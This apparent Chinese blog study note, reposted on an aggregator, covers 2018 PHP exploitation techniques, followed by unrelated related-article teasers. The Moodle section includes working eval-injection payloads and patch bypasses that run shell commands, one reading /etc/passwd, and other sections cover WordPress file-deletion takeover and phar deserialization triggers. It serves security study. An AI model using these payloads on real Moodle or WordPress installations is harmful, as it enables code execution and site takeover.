php最新图片漏洞,2018最新PHP漏洞利用技巧

本文学习了几种新式的php exploit方法,在此做一笔记

文件删除漏洞, unlink()

Phar 反序列化, file*()

PHP对象实例化, ReflectionClass()

0x01 WordPress Design Flaw Leads to WooCommerce RCE

WooCommerce 3.4.6本版本之前存在任意删除漏洞,因为WordPress的设计缺陷将导致整站被接管。

设计缺陷:

WooCommerce插件被关闭之后edit_users权限依旧存在

但是插件的disallow_editing_of_admins过滤器不会再被触发

一般只有administrators可以关闭插件,(但是我们这里有任意文件删除,相当于关闭了插件)

0x02 Moodle < 3.5.0

Code Injection

首先,教师角色是必须的(可以利用xss得到)

使用了eval函数

public function substitute_variables_and_eval($str, $dataset){

// substitues {x} and {y} for numbers like 1.2 with str_replace():

$formula = $this->substitute_variables($str, $dataset);

if ($error = qtype_calculated_find_formula_errors($formula)) {

return $error;// formula security mechanism

}

$str=null;

eval('$str = '.$formula.';');// dangerous eval()-call

return $str;

}

但是有过滤

function qtype_calculated_find_formula_errors($formula){

// Returns false if everything is alright

// otherwise it constructs an error message.

// Strip away dataset names.

while (preg_match('~\\{[[:alpha:]][^>}

$formula = str_replace($regs[0], '1', $formula);

}

// Strip away empty space and lowercase it.

$formula = strtolower(str_replace(' ', '', $formula));

$safeoperatorchar = '-+/*%>:^\~=&|!'; /* */

$operatorornumber = "[{$safeoperatorchar}.0-9eE]";

// [...]

if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {

return get_string('illegalformulasyntax','qtype_calculated',$regs[0]);

} else {

// Formula just might be valid.

return false;

}

}

bypass过滤

8889fe8474be6ce6aa541d6383fab120.png

payload

1.{a.`$_GET[0]`}

2. /*{a*/`$_GET[0]`;//{x}}

=> 0=(date;cat/etc/passwd)>../hi.txt

bypass官方补丁

1.Blacklist

补丁说明:循环检测输入中是否存在//,/*,#

function qtype_calculated_find_formula_errors($formula){

foreach (['//', '/*', '#'] as $commentstart) {

if (strpos($formula, $commentstart) !== false) {

return get_string('illegalformulasyntax',

'qtype_calculated',

$commentstart);

}

}

payload

1?>=log(1){a.`$_GET[0]`.({x})}?>

2.拒绝使用占位符嵌套

public function find_dataset_names($text){

// Returns the possible dataset names found in the text as an array.

// The array has the dataset name for both key and value.

if (preg_match_all('~\\{([[:alpha:]][^>}

$datasetnames = array_unique($regs[1]);

return array_combine($datasetnames, $datasetnames);

} else {

return [];

}

}

// [...]

function qtype_calculated_find_formula_errors($formula){

$datasetnames = find_dataset_names($formula);

foreach ($datasetnames as $datasetname) {

$formula = str_replace('{'.$datasetname.'}', '1', $formula);

}

payload

/*{x}{a*/`$_GET[0]`/*(1)//}{a*/`$_GET[0]`/*({x})//}*/

3.黑名单+线性替换

控制 xml 实现

参考:

0x03 WordPress File Delete to Code Execution

影响范围: =<4.9.6

前提:拥有媒体文件的删除权限(只能利用其它漏洞或者错误配置来取得)

删除目标:

.htaccess 有时其中会包含一些安全策略(比如:访问某些文件夹的权限),删除后会是安全策略无效。

index.php files 一般这个文件是空的,主要是为了防止列目录,被删除了就有可能去列目录了。

wp-config.php 这个删除了,WordPress就要被重装了。

0x04 Phar:// Deserialization

敏感点:

include('phar://test.phar');

file_get_contents('phar://test.phar');

file_put_contents('phar://test.phar', '');

copy('phar://test.phar', '');

include('phar://test.phar');

file_get_contents('phar://test.phar');

file_put_contents('phar://test.phar', '');

copy('phar://test.phar', '');

file_exists('phar://test.phar');

is_executable('phar://test.phar');

is_file('phar://test.phar');

is_dir('phar://test.phar');

is_link('phar://test.phar');

is_writable('phar://test.phar');

fileperms('phar://test.phar');

fileinode('phar://test.phar');

filesize('phar://test.phar');

fileowner('phar://test.phar');

filegroup('phar://test.phar'); fileatime('phar://test.phar');

filemtime('phar://test.phar');

filectime('phar://test.phar');

filetype('phar://test.phar');

getimagesize('phar://test.phar');

exif_read_data('phar://test.phar');

stat('phar://test.phar');

lstat('phar://test.phar');

touch('phar://test.phar‘);

md5_file('phar://test.phar');

可以参考:

0x05 Shopware < 5.3.4 PHP Object Instantiation to XXE to RCE

影响范围:Shopware version <= 5.3.3 and >= 5.1

XSS→POI→XMLi→XXE→PHAR→POI→POP→RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/382981.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php过气了吗,留几手 留几手过气原因

1、很多时候&#xff0c;人们做事情只是为了自己&#xff0c;没有任何理由&#xff0c;没有任何结果&#xff0c;只是为了满足一些内心的期望。2、太理智的人&#xff0c;往往爱到一半&#xff0c;本能地退却。唯一突出的是他的JB。3、怎样才能自由地睡去女文艺青年&#xff1f…

matlab频率阻抗,有分析阻抗的matlab脚本吗?

以上来自于谷歌翻译以下为原文Interesting...- You cross-posted to two forums. I have deleted the other post.- You dont indicate what scope you are using or what you have tried.Most Keysight (and Agilent) scopes have an FFT or Spectrum function available. Hav…

php中修改弹窗的样式,CSS变形弹窗效果示例

大家都知道&#xff0c;弹出窗体已经是现在网页常用的一种交互设计&#xff0c;在这个注重交互动画体验的时代&#xff0c;网页弹窗也是可以来点新鲜点子的&#xff0c;比如今天分享的CSS 变形Modal Window。当用户点击按钮时&#xff0c;按钮将会变成一个全屏的屏幕&#xff0…

次梯度法matlab代码,实例:连续化次梯度法解 LASSO 问题

实例&#xff1a;连续化次梯度法解 LASSO 问题我们将在此页面中构造一个 LASSO 问题并且展示连续化次梯度方法在其中的应用。目录构造LASSO优化问题设定随机种子。clear;seed 97006855;ss RandStream(mt19937ar,Seed,seed);RandStream.setGlobalStream(ss);构造 LASSO 优化问…

qq ip探测仪 php,巧用Win7资源监视器,查看QQ好友IP

用QQ时间比较长、喜欢DIY的朋友都知道&#xff0c;有一些第三方版本的QQ或者插件可以显示好友IP地址&#xff0c;但其实在Windows7中根本用不着第三方软件&#xff0c;在系统自带的资源监视器中&#xff0c;就能很方便的看到QQ好友的IP地址。首先&#xff0c;打开“任务管理器”…

oracle安装显示注册表,windows下oracle 11g r2 安装过程与卸载详细图解

Oracle 11g安装1.解压下载的包&#xff0c;然后进入包内&#xff0c;点击setup.exe开始安装 。2.出现如下&#xff1a;一般把那个小对勾取消&#xff0c;点击下一步进行&#xff0c;弹出下图这个后点‘是3.下图后&#xff0c;选择创建和配置数据库&#xff0c;点击下一步。4.下…

php一行多个商品,【后端开发】php一行展示多个商品怎么实现

php一行展示多个商品怎么实现php可以用来连接数据库查询商品&#xff0c;并输出展示给用户&#xff0c;但想要实现一行展示多个商品需要用到css技术&#xff0c;具体实现如下&#xff1a;1、首先php代码$sql "select * from user";$result $conn->query($sql);i…

linux双网卡端口聚合,Linux双网卡聚合改造

Linux双网卡聚合改造一、环境和需求Linux主机只有一块网卡接到交换机上&#xff0c;为了消除交换机的单点&#xff0c;新增一台交换机&#xff0c;Linux主机端新接一块网卡到新交换机上&#xff0c;对这两块网卡做聚合达到目的。二、物理连线使用网线连接新增交换机和新网卡三、…

linux服务器无法识别xml文件,linux上重启服务器提示找不到smartbi-config.xml文件

(本文档仅供参考)问题服务器上重启服务时&#xff0c;报了如下错误信息&#xff1a;(备注&#xff1a;因安全考虑&#xff0c;新版本的config登录界面已经不展示config文件的加载路径了。)解决方案原因一&#xff1a;这是一个关于在哪个路径下启动smartbi服务的问题。首先&…

linux堆上的内存可执行吗,pwn的艺术浅谈(二):linux堆相关

这是linux pwn系列的第二篇文章&#xff0c;前面一篇文章我们已经介绍了栈的基本结构和栈溢出的利用方式&#xff0c;堆漏洞的成因和利用方法与栈比起来更加复杂&#xff0c;为此&#xff0c;我们这篇文章以shellphish的how2heap为例&#xff0c;主要介绍linux堆的相关数据结构…

manjaro linux下载软件,manjaro linux

manjaro linux下载。manjaro linux是基于Arch Linux开发的Linux操作系统&#xff01;对于裸服务器、虚拟机、IaaS 和 PaaS 方面都得到了加强&#xff0c;而且内置了强大的数据中心满足商业的各种要求&#xff0c;是强大的混合云平台和物理系统&#xff01;manjaro linux介绍man…

linux 安装qt 4.6软件,QT学习之一:Linux下安装QT之版本qt-4.6.3

在Linux中分别安装应用于不同平台的QT&#xff1a;PC&#xff1b;嵌入式X86&#xff1b;ARM。这三者PC版、嵌入式X86版和ARM版的区别主要体现在&#xff1a;当configure时分别加了不同的参数&#xff0c;具体区别是&#xff1a;PC平台&#xff1a;在linux中全安装qt&#xff0c…

linux kill命令使用方法,Linux初学者的killall命令(8个例子)

Linux初学者的killall命令(8个例子)我们已经讨论了kill命令 &#xff0c;如果你想在Linux中终止进程&#xff0c;你可以使用kill命令 。 但是&#xff0c;还有一个命令行实用程序可以用于相同的目的&#xff1a; killall 。 在本教程中&#xff0c;我们将使用一些易于理解的示例…

c语言 字符串 url,如何对URL字符串进行百分号编码

在和web服务进行交互时&#xff0c;我们经常需要对URL中的特定字符和传输的表单数据进行百分号编码。例如&#xff0c;’&’在百分号编码时会变成’%26’。搞清楚 URL中哪部分的哪些字符应该进行百分号编码了并不是件易事。最好的资料好像是RFC 3986和W3C HTML5。出于兴趣和…

击鼓传花击鼓次数相同c语言,JavaScript 实现击鼓传花游戏

大家小时候应该都玩过击鼓传花(Hot Potato)的游戏吧&#xff01;一群小孩围成一个圆圈&#xff0c;把花尽快的传给旁边的人。某一时刻传花停止&#xff0c;这时花在谁手里&#xff0c;谁就退出圆圈结束游戏。重复此过程&#xff0c;直到剩下最后一个孩子&#xff0c;即为胜者。…

前端的c语言面试题,前端工程师面试题汇总(选择题)

前端工程师面试题汇总(选择题)时间&#xff1a;2017-12-05 来源&#xff1a;前端工程师面试题推荐作为一名前端工程师&#xff0c;我们必不可少的就是参加面试&#xff0c;面试过程中会遇到各类奇葩的问题&#xff0c;今天小编为大家汇总了一些相关的问题&#xff0c;希望可…

android 磁场传感器 罗盘,Android开发获取重力加速度和磁场强度的方法

本文实例讲述了Android开发获取重力加速度和磁场强度的方法。分享给大家供大家参考&#xff0c;具体如下&#xff1a;Android获取重力加速度和磁场强度主要依靠&#xff1a;Sensor.getRotationMatrix (float[] R, float[] I, float[] gravity, float[] geomagnetic)输入数据&am…

html在线编辑器 asp.net,ASP.NET网站使用Kindeditor富文本编辑器配置步骤

1. 下载编辑器下载 KindEditor 最新版本&#xff0c;下载页面: http://www.kindsoft.net/down.php2. 部署编辑器解压 kindeditor-x.x.x.zip 文件&#xff0c;将editor文件夹复制到web目录下3、在网页中加入(ValidateRequest"false")4、引入脚本文件(XXX部分需要修改)…

html中通过定位 实现下拉,JS+CSS相对定位实现的下拉菜单

本文实例讲述了JSCSS相对定位实现的下拉菜单。分享给大家供大家参考。具体如下&#xff1a;这里使用的是相对定位&#xff0c;不过效果还可以&#xff0c;用时候再修整一下&#xff0c;这个只是实现了大概功能&#xff0c;还有许多细节没有修饰。运行效果截图如下&#xff1a;在…

html页面包含头文件,Web前端技术:HTML部分---Head标签中包含的头文件标签,body标签包含的内部标签...

1、Head标签中包含的 头文件标签的作用&#xff1a;(1)title标签&#xff1a;定义网页的标题。(2)meta标签&#xff1a;一般用于定义页面的特殊信息&#xff0c;例如页面的关键字、页面描述等(3)link标签&#xff1a;用于引入外部样式文件(CSS 文件)。(4)style标签&#xff1a;…